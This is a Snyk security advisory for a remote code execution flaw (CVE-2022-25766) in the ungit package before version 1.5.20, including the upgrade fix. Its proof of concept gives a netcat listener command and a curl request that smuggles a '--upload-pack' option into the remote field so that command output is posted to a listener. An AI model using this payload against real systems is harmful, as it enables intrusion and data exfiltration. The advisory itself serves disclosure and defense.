Remote Code Execution (RCE) Affecting ungit package, versions <1.5.20
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Test your applications- Snyk ID SNYK-JS-UNGIT-2414099
- published 21 Mar 2022
- disclosed 2 Mar 2022
- credit Alessio Della Libera of Snyk Research Team
Introduced: 2 Mar 2022
CVE-2022-25766 Open this link in a new tabHow to fix?
Upgrade ungit to version 1.5.20 or higher.
Overview
ungit is a version control library.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via argument injection. The issue occurs when calling the /api/fetch endpoint. User controlled values (remote and ref) are passed to the git fetch command. By injecting some git options it was possible to get arbitrary command execution.
PoC
Install
ungitand setup a projectsetup a listener for accepting incoming connections:
nc -nvlp 8000run the following
curlcommand to get the output of theidcommand:curl -d '{"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000 --data \"$(id)\"","ref":"foobar","socketId":1}' -H "Content-Type: application/json" -X POST http://localhost:8448/api/fetch